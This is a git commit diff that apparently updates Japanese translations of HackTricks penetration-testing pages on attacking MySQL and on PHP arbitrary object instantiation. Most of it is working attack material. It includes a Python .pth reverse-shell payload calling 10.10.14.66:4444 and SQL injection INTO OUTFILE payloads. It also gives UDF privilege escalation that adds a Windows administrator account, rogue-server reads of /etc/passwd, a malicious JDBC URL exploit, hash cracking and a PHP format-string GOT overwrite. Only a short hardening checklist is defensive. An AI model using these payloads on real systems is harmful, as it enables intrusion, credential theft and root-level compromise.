Translated ['', 'src/pentesting-web/file-upload/README.md', 'src/pentest

This commit is contained in:
Translator 2025-09-03 19:11:46 +00:00
parent c0f2aed16a
commit 4621c22ef9
6 changed files with 630 additions and 566 deletions

View File

@ -4,7 +4,7 @@
## **基本情報**
**MySQL**は、無料で利用できるオープンソースの**リレーショナルデータベース管理システム (RDBMS)**として説明できます。これは、**構造化クエリ言語 (SQL)**に基づいて動作し、データベースの管理と操作を可能にします。
**MySQL** は無償で利用できるオープンソースの **Relational Database Management System (RDBMS)** です。**Structured Query Language (SQL)** を使用して、データベースの管理と操作を行います。
**デフォルトポート:** 3306
```
@ -24,7 +24,7 @@ mysql -h <Hostname> -u root@localhost
```
## 外部列挙
いくつかの列挙アクションには有効な資格情報が必要です。
一部の列挙操作には有効な認証情報が必要です。
```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
@ -34,14 +34,14 @@ msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```
### [**ブルートフォース**](../generic-hacking/brute-force.md#mysql)
### [**Brute force**](../generic-hacking/brute-force.md#mysql)
### 任意のバイナリデータを書き込む
```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
```
## **MySQLコマンド**
## **MySQL コマンド**
```bash
show databases;
use <database>;
@ -112,33 +112,33 @@ You can see in the docs the meaning of each privilege: [https://dev.mysql.com/do
#### INTO OUTFILE → Python `.pth` RCE (サイト固有の設定フック)
古典的な `INTO OUTFILE` プリミティブを悪用することで、後**Python** スクリプトを実行するターゲットで *任意のコード実行* を取得することが可能です。
古典的な `INTO OUTFILE` プリミティブを悪用することで、後**Python** スクリプトを実行するターゲット上で *arbitrary code execution* を得ることが可能です。
1. `INTO OUTFILE` を使用して、`site.py` によって自動的に読み込まれる任意のディレクトリ内にカスタム **`.pth`** ファイルをドロップします(例: `.../lib/python3.10/site-packages/`)。
2. `.pth` ファイルには、`import ` で始まる *1行* の任意の Python コードが含まれており、インタープリタが起動するたびに実行されます。
3. インタプリタがCGIスクリプトによって暗黙的に実行されるとき(例えば、`/cgi-bin/ml-draw.py` でシェバン `#!/bin/python` を使用) payload はウェブサーバープロセスと同じ権限で実行されますFortiWeb はそれを **root** として実行しました → 完全な認証前 RCE
1. `INTO OUTFILE` を使って、`site.py` によって自動的にロードされる任意のディレクトリ(例: `.../lib/python3.10/site-packages/`内にカスタムの **`.pth`** ファイルを置きます
2. `.pth` ファイル`import ` で始まる *単一行* を含めることができ、その後に任意の Python コードを続けることで、インタプリタが起動するたびに実行されます。
3. インタプリタが CGI スクリプトによって暗黙的に実行されると(例えばシェバング `#!/bin/python` を持つ `/cgi-bin/ml-draw.py` の場合)、ペイロードは web-server プロセスと同じ権限で実行されますFortiWeb はそれを **root** として実行した → full pre-auth RCE
`.pth` ペイロード1行、最終的なSQLペイロードにスペースを含めることはできないため、hex/`UNHEX()` または文字列連結が必要になる場合があります):
Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required):
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
**UNION** クエリを通じてファイルを作成する例(スペース文字は `/**/` に置き換えられ、`sscanf("%128s")` スペースフィルターを回避し、合計長を ≤128 バイトに保つ):
ファイルを**UNION**クエリを使って作成する例(スペース文字を`/**/`に置き換えて、`sscanf("%128s")`のスペースフィルタを回避し、合計長を≤128バイトに保つ:
```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```
重要な制限事項とバイパス:
Important limitations & bypasses:
* `INTO OUTFILE` **既存のファイルを上書きできません**; 新しいファイル名を選択してください。
* ファイルパスは **MySQLのCWDに対して相対的に解決される**ため、`../../`でプレフィックスを付けることでパスを短縮し、絶対パスの制限をバイパスできます。
* 攻撃者の入力が `%128s`(または類似のもの)で抽出されると、任意のスペースがペイロードを切り詰めます; スペースを置き換えるためにMySQLコメントシーケンス `/**/` または `/*!*/` を使用してください。
* クエリを実行するMySQLユーザー`FILE` 権限が必要ですが、多くのアプライアンス(例: FortiWebではサービスが **root** として実行され、ほぼどこでも書き込みアクセスが与えられます。
* `INTO OUTFILE` **既存のファイルを上書きできません**; 新しいファイル名を選んでください。
* ファイルパスは **MySQLs CWD に対して相対的に解決されます**。そのため `../../` をプレフィックスするとパスを短縮し、絶対パス制限を回避できます。
* 攻撃者の入力が `%128s`(または類似)で抽出される場合、スペースはペイロードを切り詰めます;スペースの代わりに MySQL コメントシーケンス `/**/` `/*!*/` を使用してください。
* クエリを実行する MySQL ユーザに`FILE` 権限が必要ですが、多くのアプライアンス(例: FortiWebではサービスが **root** として動作しており、ほぼどこへでも書き込めます。
`.pth` を削除した後、単にpythonインタープリタによって処理される任意のCGIをリクエストしてコード実行を得ます:
After dropping the `.pth`, simply request any CGI handled by the python interpreter to get code execution:
```
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
```
Pythonプロセスは悪意のある`.pth`を自動的にインポートし、シェルペイロードを実行します。
Python プロセスは悪意のある `.pth` を自動的に import し、shell payload を実行します。
```
# Attacker
$ nc -lvnp 4444
@ -147,23 +147,23 @@ uid=0(root) gid=0(root) groups=0(root)
```
---
## MySQL クライアントによる任意のファイルの読み取り
## MySQL arbitrary read file by client
実際に、**テーブルにローカルデータをロードする**際に、MySQL または MariaDB サーバーは **クライアントにファイルを読み取って** その内容を送信するように要求します。**したがって、mysql クライアントを改ざんして自分の MySQL サーバーに接続できれば、任意のファイルを読み取ることができます。**\
この動作は次のように行われます:
実際に、**load data local into a table** を実行してファイルの **content of a file** を読み込もうとすると、MySQL や MariaDB サーバーは **client to read it** と要求し、その内容を送信させます。**Then, if you can tamper a mysql client to connect to your own MySQL server, you can read arbitrary files.**\
この動作は次を使用している場合の挙動であることに注意してください:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
「local」という単語に注意してください\
「local」がないと、次のようになります
("local" という単語に注意)\
"local" がないと、次のようになります:
```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**この論文では、攻撃の完全な説明と、RCEに拡張する方法を確認できます:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**ここでは攻撃の概要を見つけることができます:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
**最初の PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**この論文では攻撃の完全な説明と、RCE に拡張する方法まで確認できます:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**ここで攻撃の概要を確認できます:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
@ -171,25 +171,25 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
## POST
### Mysql ユーザー
### Mysql User
mysqlが**root**として実行されている場合は非常に興味深いです:
mysql**root** として実行されていると非常に興味深い:
```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
```
#### mysqld.cnfの危険な設定
#### mysqld.cnf の危険な設定
MySQLサービスの設定では、その操作とセキュリティ対策を定義するためにさまざまな設定が使用されます:
MySQL サービスの設定では、動作やセキュリティ対策を定義するためにさまざまな設定が用いられます:
- **`user`** 設定は、MySQLサービスが実行されるユーザーを指定するために使用されます。
- **`password`** は、MySQLユーザーに関連付けられたパスワードを設定するために適用されます。
- **`admin_address`** は、管理ネットワークインターフェースでTCP/IP接続をリッスンするIPアドレスを指定します。
- **`debug`** 変数は、ログ内の機密情報を含む現在のデバッグ設定を示します。
- **`sql_warnings`** は、警告が発生したときに単一行INSERT文のために情報文字列が生成されるかどうかを管理し、ログ内に機密データを含むことがあります。
- **`secure_file_priv`** により、データのインポートおよびエクスポート操作の範囲が制限され、セキュリティが強化されます。
- `user` 設定は、MySQL サービスが実行されるユーザーを指定するために使用されます。
- `password` は MySQL ユーザーに関連するパスワードを設定するために使われます。
- `admin_address` は管理用ネットワークインターフェースで TCP/IP 接続を待ち受ける IP アドレスを指定します。
- `debug` 変数は現在のデバッグ設定を示し、ログ内に機密情報を含む可能性があります。
- `sql_warnings` は、警告が発生した際に単一行の INSERT ステートメントに対して情報文字列が生成されるかどうかを制御し、これがログ内に機密データを含む可能性があります。
- `secure_file_priv` により、データのインポート/エクスポート操作の範囲が制限され、セキュリティが強化されます。
### 権限昇格
### Privilege escalation
```bash
# Get current user (an all users) privileges and hashes
use mysql;
@ -207,18 +207,18 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh
```
### ライブラリを介した特権昇格
### ライブラリ経由の権限昇格
もし**mysqlサーバーがroot**(または他の特権のあるユーザー)として実行されている場合、コマンドを実行させることができます。そのためには、**ユーザー定義関数**を使用する必要があります。そして、ユーザー定義を作成するには、mysqlが実行されているOS用の**ライブラリ**が必要です。
もし **mysql サーバが root として実行されている**(または別のより権限の高いユーザで実行されている)場合、コマンドを実行させることができます。そのためには **ユーザー定義関数** を使用する必要があります。ユーザー定義関数を作成するには、mysql が動作している OS 用の **ライブラリ** が必要です。
使用する悪意のあるライブラリは、sqlmap内やmetasploit内で**`locate "*lib_mysqludf_sys*"`**を実行することで見つけることができます。**`.so`**ファイルは**linux**ライブラリで、**`.dll`**は**Windows**用のものです。必要なものを選んでください。
使用する悪意のあるライブラリは sqlmap や metasploit 内にあり、**`locate "*lib_mysqludf_sys*"`** を実行すると見つかります。**`.so`** ファイルは **linux** のライブラリで、**`.dll`** は **Windows** のライブラリなので、必要な方を選んでください。
もし**それらのライブラリがない**場合は、**探す**か、この[**linux Cコード**](https://www.exploit-db.com/exploits/1518)をダウンロードして、**linuxの脆弱なマシン内でコンパイル**してください
もし **それらのライブラリを持っていない**場合は、**探す**か、あるいはこの [**linux C code**](https://www.exploit-db.com/exploits/1518) をダウンロードして **linux の脆弱なマシン内でコンパイルする**ことができます
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```
今、ライブラリがあるので、特権ユーザーrootとしてMysqlにログインし、次の手順に従ってください
ライブラリを入手したら、特権ユーザーroot?)として Mysql に login し、以下の手順に従ってください:
#### Linux
```sql
@ -252,29 +252,38 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```
### MySQLの資格情報をファイルから抽出する
#### Windows のヒント: SQLからNTFS ADSを使ってディレクトリを作成する
_/etc/mysql/debian.cnf_ の中に、ユーザー **debian-sys-maint****平文パスワード** を見つけることができます。
NTFSでは、ファイル書き込みプリミティブしか存在しない場合でも、alternate data stream代替データストリームを利用してディレクトリ作成を強制できます。もし classic UDF chain が `plugin` ディレクトリを期待しているがそれが存在せず、`@@plugin_dir` が不明またはロックされている場合は、まず `::$INDEX_ALLOCATION` でそれを作成できます:
```sql
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
```
これは限定的な `SELECT ... INTO OUTFILE` を Windows スタック上で、UDF drops に必要なフォルダ構造をブートストラップすることでより完全なプリミティブに変えます。
### MySQL の資格情報をファイルから抽出
ファイル _/etc/mysql/debian.cnf_ の中にはユーザー **debian-sys-maint****平文パスワード** が見つかります。
```bash
cat /etc/mysql/debian.cnf
```
これらの資格情報を使用して**MySQLデータベースにログインできます**。
あなたは **これらの資格情報を使用して MySQL データベースにログイン** できます
ファイル _/var/lib/mysql/mysql/user.MYD_ の中には、**MySQLユーザーのすべてのハッシュ**データベース内のmysql.userから抽出できるものが見つかります_。
ファイル内: _/var/lib/mysql/mysql/user.MYD_ には、**MySQL ユーザーのすべてのハッシュ**(データベース内の mysql.user から抽出できるもの)が含まれています
これらを抽出するには、次のようにします:
それらは次のように抽出できます:
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
### ロギングの有効化
### ログの有効化
mysqlクエリのロギングを`/etc/mysql/my.cnf`で有効にするには、以下の行のコメントを外します。
次の行のコメントを外すことで、`/etc/mysql/my.cnf` 内で mysql クエリのログを有効にできます:
![](<../images/image (899).png>)
### 有用なファイル
設定ファイル
Configuration Files
- windows \*
- config.ini
@ -289,14 +298,14 @@ mysqlクエリのロギングを`/etc/mysql/my.cnf`で有効にするには、
- /var/lib/mysql/my.cnf
- \~/.my.cnf
- /etc/my.cnf
- コマンド履歴
- Command History
- \~/.mysql.history
- ログファイル
- Log Files
- connections.log
- update.log
- common.log
## デフォルトのMySQLデータベース/テーブル
## デフォルトの MySQL Database/Tables
{{#tabs}}
{{#tab name="information_schema"}}
@ -616,7 +625,7 @@ x$waits_global_by_latency
{{#endtab}}
{{#endtabs}}
## HackTricks自動コマンド
## HackTricks 自動コマンド
```
Protocol_Name: MySql #Protocol Abbreviation if there is one.
Port_Number: 3306 #Comma separated if there is more than one.
@ -647,36 +656,37 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
## 2023-2025 ハイライト (新)
## 2023-2025 ハイライト(新)
### JDBC `propertiesTransform` デシリアライズ (CVE-2023-21971)
Connector/J <= 8.0.32 から、**JDBC URL** に影響を与えることができる攻撃者(例えば、接続文字列を要求するサードパーティ製ソフトウェア内)は、`propertiesTransform` パラメータを介して *クライアント* 側に任意のクラスをロードするよう要求できます。クラスパス上に存在するガジェットがロード可能であれば、これは **JDBC クライアントのコンテキストでのリモートコード実行** を引き起こします(有効な資格情報は必要ないため、事前認証です)。最小限の PoC は次のようになります:
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
Connector/J <= 8.0.32 から、**JDBC URL** に影響を与えられる攻撃者(例えば接続文字列を要求するサードパーティ製ソフトウェア内)は、`propertiesTransform` パラメータを介して *client* 側で任意のクラスをロードするよう要求できます。class-path 上に存在する gadget がロード可能であれば、これは **remote code execution in the context of the JDBC client** を引き起こしますpre-auth、認証情報は不要のため。最小限のPoCは次のようになります:
```java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
```
`Evil.class`を実行するのは、脆弱なアプリケーションのクラスパスに配置するか、悪意のあるMySQLサーバーに悪意のあるシリアライズされたオブジェクトを送信させることで簡単に行えます。この問題はConnector/J 8.0.33で修正されました - ドライバーをアップグレードするか、`propertiesTransform`を明示的にホワイトリストに設定してください
(詳細についてはSnykのレポートを参照)
`Evil.class` を実行することは、脆弱なアプリケーションのクラスパス上にそれを配置するだけ、あるいは悪意のある MySQL サーバーにシリアライズされたオブジェクトを送らせるだけで済む場合がある。この問題は Connector/J 8.0.33 で修正されている — ドライバーをアップグレードするか、許可リスト上で明示的に `propertiesTransform` を設定せよ
(詳細は Snyk の write-up を参照)
### JDBCクライアントに対するロゲ/フェイクMySQLサーバー攻撃
いくつかのオープンソースツールは、JDBCクライアントを攻撃するために*部分的*なMySQLプロトコルを実装しています
### JDBC クライアントに対する偽の MySQL サーバー攻撃
外向きに接続する JDBC クライアントを攻撃するために、いくつかのオープンソースツールが MySQL プロトコルの*部分的な*実装を行っている:
* **mysql-fake-server** (Java、ファイル読み取りおよびデシリアライズの脆弱性をサポート)
* **rogue_mysql_server** (Python、同様の機能)
* **mysql-fake-server** (Java、ファイル読み取りおよびデシリアライズのエクスプロイトをサポート)
* **rogue_mysql_server** (Python、類似の機能)
典型的な攻撃経路:
典型的な攻撃パス:
1. 被害者アプリケーションが`allowLoadLocalInfile=true`または`autoDeserialize=true``mysql-connector-j`をロードします
2. 攻撃者がDNS/ホストエントリを制御し、DBのホスト名が彼らの制御下にあるマシンに解決されるようにします
3. 悪意のあるサーバーが、`LOCAL INFILE`による任意のファイル読み取りまたはJavaデシリアライズ→RCEを引き起こすように作成されたパケットで応答します
1. 被害アプリケーションが `mysql-connector-j``allowLoadLocalInfile=true` または `autoDeserialize=true` でロードしている
2. 攻撃者が DNS / host エントリを操作し、DB のホスト名が攻撃者の管理下にあるマシンに解決されるようにする
3. 悪意あるサーバーが巧妙に作成されたパケットで応答し、`LOCAL INFILE` による任意ファイル読み取りか Java のデシリアライズを誘発して → RCE
フェイクサーバーを起動するための例のワンライナーJava
偽サーバーを起動するワンライナーの例 (Java):
```bash
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
```
次に、被害者アプリケーションを `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true`ポイントし、*username* フィールドにファイル名を base64 でエンコードして `/etc/passwd` を読み取ります(`fileread_/etc/passwd``base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`)。
次に、被害者アプリケーションを `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true`向け、ファイル名を base64 にエンコードして *username* フィールドに入れることで `/etc/passwd` を読みます(`fileread_/etc/passwd``base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`)。
### `caching_sha2_password` ハッシュのクラッキング
MySQL ≥ 8.0 はパスワードハッシュを **`$mysql-sha2$`** (SHA-256) として保存します。Hashcat (モード **21100**) と John-the-Ripper (`--format=mysql-sha2`) は、2023年以降オフラインクラッキングをサポートしています。`authentication_string` カラムをダンプし、直接フィードします:
MySQL ≥ 8.0 はパスワードハッシュを **`$mysql-sha2$`** (SHA-256) として格納します。Hashcatmode **21100**)と John-the-Ripper`--format=mysql-sha2`)の両方が 2023 年以降オフラインでのクラッキングをサポートしています。`authentication_string` カラムをダンプしてそのまま投入します:
```bash
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
@ -686,18 +696,21 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
```
### ハードニングチェックリスト (2025)
**`LOCAL_INFILE=0`** と **`--secure-file-priv=/var/empty`** を設定し、ほとんどのファイル読み書きプリミティブを無効にします
• アプリケーションアカウントから **`FILE`** 権限を削除します。
• Connector/J で `allowLoadLocalInfile=false``allowUrlInLocalInfile=false``autoDeserialize=false``propertiesTransform=`(空)を設定します。
使用していない認証プラグインを無効にし、**TLSを要求**します(`require_secure_transport = ON`
`CREATE FUNCTION``INSTALL COMPONENT``INTO OUTFILE``LOAD DATA LOCAL` および突然の `SET GLOBAL` ステートメントを監視します。
**`LOCAL_INFILE=0`** と **`--secure-file-priv=/var/empty`** を設定し、ほとんどのファイル読み書きプリミティブを無効化する
• アプリケーションアカウントから **`FILE`** 権限を削除す
• Connector/J で `allowLoadLocalInfile=false``allowUrlInLocalInfile=false``autoDeserialize=false``propertiesTransform=`(空)を設定す
未使用の認証プラグインを無効化し、**TLS を必須にする** (`require_secure_transport = ON`)
`CREATE FUNCTION``INSTALL COMPONENT``INTO OUTFILE``LOAD DATA LOCAL`および突然の `SET GLOBAL` ステートメントを監視す
---
## 参考文献
## 参考資料
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Oracle MySQL Connector/J propertiesTransform RCE CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [mysql-fake-server Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)

View File

@ -1,18 +1,18 @@
# PHP - RCE オブジェクト生成の悪用: new $\_GET\["a"]\($\_GET\["b"])
# PHP - オブジェクト作成を悪用した RCE: new $_GET["a"]($_GET["b"])
{{#include ../../../banners/hacktricks-training.md}}
これは基本的に [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) の要約です。
## はじめに
## 導入
`new $_GET["a"]($_GET["a"])` のような新しい任意のオブジェクト生成は、リモートコード実行 (RCE) につながる可能性があります。これは [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) で詳述されています。この文書では、RCEを達成するためのさまざまな戦略を強調します。
例えば `new $_GET["a"]($_GET["a"])` のような任意のオブジェクト生成は、[**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) に詳述されているように Remote Code Execution (RCE) を引き起こす可能性があります。本書では RCE を達成するためのさまざまな戦略を強調します。
## カスタムクラスまたはオートローディングによるRCE
## カスタムクラスまたはオートローディング経由の RCE
`new $a($b)` の構文は、**`$a`** がクラス名を表し、**`$b`** がコンストラクタに渡される最初の引数であるオブジェクトをインスタンス化するために使用されます。これらの変数は、GET/POSTのようなユーザー入力から取得されることがあり、文字列や配列である可能性があります。また、JSONから取得される場合は、他の型として表示されることがあります。
構文 `new $a($b)` はオブジェクトをインスタンス化するために使われ、**`$a`** はクラス名、**`$b`** はコンストラクタに渡される最初の引数を表します。これらの変数は GET/POST のようなユーザ入力から取得される可能性があり、その場合文字列や配列であることがありますし、JSON から来るときは別の型として現れることがあります。
以下のコードスニペットを考えてみてください:
以下のコードスニペットを考えてください:
```php
class App {
function __construct ($cmd) {
@ -31,9 +31,9 @@ $b = $_GET['b'];
new $a($b);
```
この場合、`$a``App`または`App2`に設定し、`$b`をシステムコマンド(例:`uname -a`)に設定すると、そのコマンドが実行されます。
この場合、`$a``App` または `App2` に、`$b` をシステムコマンド(例: `uname -a`)に設定すると、そのコマンドが実行されます。
**オートローディング関数**は、そのようなクラスが直接アクセスできない場合に悪用される可能性があります。これらの関数は必要に応じてファイルからクラスを自動的にロードし、`spl_autoload_register`または`__autoload`を使用して定義されます。
**Autoloading functions** は、そのようなクラスに直接アクセスできない場合に悪用される可能性があります。これらの関数は必要に応じてファイルからクラスを自動的に読み込み、`spl_autoload_register` または `__autoload` を使って定義されます:
```php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
@ -45,52 +45,76 @@ include $class_name . '.php';
spl_autoload_register();
```
オートローディングの動作はPHPのバージョンによって異なり、異なるRCEの可能性を提供します。
オートローディングの挙動はPHPのバージョンによって異なり、様々なRCEの可能性をもたらします。
## 組み込みクラスによるRCE
## 組み込みPHPクラス経由のRCE
カスタムクラスやオートローダーがない場合、**組み込みPHPクラス**がRCEに十分である可能性があります。これらのクラスの数は、PHPのバージョンや拡張機能に基づいて100から200の間です。`get_declared_classes()`を使用してリストできます。
カスタムクラスやオートローダーが存在しない場合、**組み込みPHPクラス**だけでRCEが可能なことがあります。これらのクラス数はPHPのバージョンや拡張により100〜200程度と変動します。`get_declared_classes()`で一覧表示できます。
興味のあるコンストラクタは、以下の例とリンク[https://3v4l.org/2JEGF](https://3v4l.org/2JEGF)に示すように、リフレクションAPIを通じて特定できます
注目すべきコンストラクタは、リフレクションAPIを使って特定できます。次の例とリンク [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF) を参照してください
**特定のメソッドによるRCEには以下が含まれます**
**RCE via specific methods includes:**
### **SSRF + Pharデシリアライズ**
### **SSRF + Phar Deserialization**
`SplFileObject`クラスは、そのコンストラクタを通じてSSRFを可能にし、任意のURLへの接続を許可します
`SplFileObject`クラスはコンストラクタを通じてSSRFを引き起こすことができ、任意のURLへ接続可能です:
```php
new SplFileObject('http://attacker.com/');
```
SSRFは、Pharプロトコルを使用するPHPの8.0以前のバージョンでデシリアライズ攻撃を引き起こす可能性があります。
SSRF は Phar protocol を利用して、PHP 8.0 未満のバージョンで deserialization attacks を引き起こす可能性があります。
### **PDOの悪用**
### **Exploiting PDOs**
PDOクラスのコンストラクタは、DSN文字列を介してデータベースへの接続を許可し、ファイルの作成やその他のインタラクションを可能にします
PDO クラスのコンストラクタは DSN strings を介してデータベースへ接続することを可能にし、ファイルの作成やその他の操作を引き起こす可能性があります:
```php
new PDO("sqlite:/tmp/test.txt")
```
### **SoapClient/SimpleXMLElement XXE**
PHPのバージョン5.3.22および5.4.12までが、`SoapClient`および`SimpleXMLElement`コンストラクタを通じてXXE攻撃に対して脆弱であることが確認されました。これはlibxml2のバージョンに依存します。
Versions of PHP up to 5.3.22 and 5.4.12 were susceptible to XXE attacks through the `SoapClient` and `SimpleXMLElement` constructors, contingent on the version of libxml2.
## RCE via Imagick Extension
**プロジェクトの依存関係**の分析において、**Imagick**が新しいオブジェクトをインスタンス化することで**コマンド実行**に利用できることが発見されました。これは脆弱性を悪用する機会を提供します。
あるプロジェクトの依存関係を分析したところ、Imagickは新しいオブジェクトをインスタンス化することでコマンド実行に利用できることが判明しました。これは脆弱性を悪用する機会を提供します。
### VID parser
ファイルシステム内の任意の指定されたパスにコンテンツを書き込む能力を持つVIDパーサーが特定されました。これにより、ウェブアクセス可能なディレクトリにPHPシェルを配置し、リモートコード実行RCEを達成する可能性があります。
VIDパーサーがファイルシステム内の任意のパスにコンテンツを書き込める機能を持っていることが確認されました。これにより、webからアクセス可能なディレクトリへPHPシェルを配置し、Remote Code Execution (RCE)を達成する可能性があります。
#### VID Parser + File Upload
PHPはアップロードされたファイルを一時的に`/tmp/phpXXXXXX`に保存することが知られています。ImagickのVIDパーサーは、**msl**プロトコルを利用してファイルパス内のワイルドカードを処理でき、一時ファイルを選択した場所に転送することが可能です。この方法は、ファイルシステム内で任意のファイル書き込みを達成するための追加のアプローチを提供します。
PHPがアップロードされたファイルを一時的に `/tmp/phpXXXXXX` に保存することに注意してください。ImagickのVIDパーサーはmslプロトコルを使用し、ファイルパスのワイルドカードを扱えるため、一時ファイルを任意の場所へ転送することが可能です。この方法は、ファイルシステム内で任意のファイル書き込みを達成するための別の手段を提供します。
### PHP Crash + Brute Force
[**元の解説**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)で説明されている方法では、削除前にサーバーをクラッシュさせるファイルをアップロードします。一時ファイルの名前をブルートフォースすることで、Imagickが任意のPHPコードを実行することが可能になります。ただし、この技術は古いバージョンのImageMagickでのみ効果的であることがわかりました。
A method described in the [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) involves uploading files that trigger a server crash before deletion. By brute-forcing the name of the temporary file, it becomes possible for Imagick to execute arbitrary PHP code. However, this technique was found to be effective only in an outdated version of ImageMagick.
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
ユーザ入力がクラス名を制御する場合(例: `new $_GET['model']()`、PHP 7.0.0では`Throwable`のリファクタリング中に一時的なバグが導入され、エンジンがクラス名を解決する際に誤ってprintf形式文字列として扱ってしまいました。これによりPHP内で古典的なprintfスタイルのプリミティブが利用可能になり、`%p`による leaks、幅指定子による書き込みカウントの制御、および`%n`を用いたプロセス内ポインタ(例: ELFビルドのGOTエントリへの任意書き込みが可能になります。
Minimal repro vulnerable pattern:
```php
<?php
$model = $_GET['model'];
$object = new $model();
```
Exploitation outline (from the reference):
- Leak addresses via `%p` in the class name to find a writable target:
```bash
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
```
- 位置指定パラメータと幅指定子を使って正確なバイト数を作り出し、次に `%n` でスタック上の到達可能なアドレスにその値を書き込む。GOTスロット例: `free`)を標的にして部分的に `system` へ上書きすることを狙う。
- シェルパイプを含むクラス名を渡して改竄した関数をトリガーし、`system("id")` を実行させる。
Notes:
- PHP 7.0.0 でのみ動作Bug [#71105](https://bugs.php.net/bug.php?id=71105)以降のリリースで修正済み。Severity: critical — 任意のクラスインスタンス化が可能な場合は致命的。
- 典型的なペイロードは多数の `%p` を連ねてスタックを探索し、続いて `%.<width>d%<pos>$n` で部分的な上書きを行う。
## References
- [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../../banners/hacktricks-training.md}}

View File

